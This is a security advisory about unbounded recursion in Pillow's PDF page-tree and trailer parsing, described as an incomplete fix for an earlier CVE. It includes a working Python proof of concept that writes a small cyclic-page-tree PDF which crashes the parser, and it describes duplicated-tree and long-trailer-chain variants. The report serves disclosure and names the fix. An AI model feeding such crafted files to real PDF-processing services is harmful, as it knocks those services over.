CVE-2026-112895: Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

Summary When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearizepagetree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. readprevtrailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details linearizepagetree recurses on /Kids with no cycle or depth check:

- src/PIL/PdfParser.py:1078-1092

readprevtrailer catches only a repeated offset:

- src/PIL/PdfParser.py:697-720 (the processedoffsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)

PoC python from PIL import PdfParser

A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way

Run it: $ python 11poc.py RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.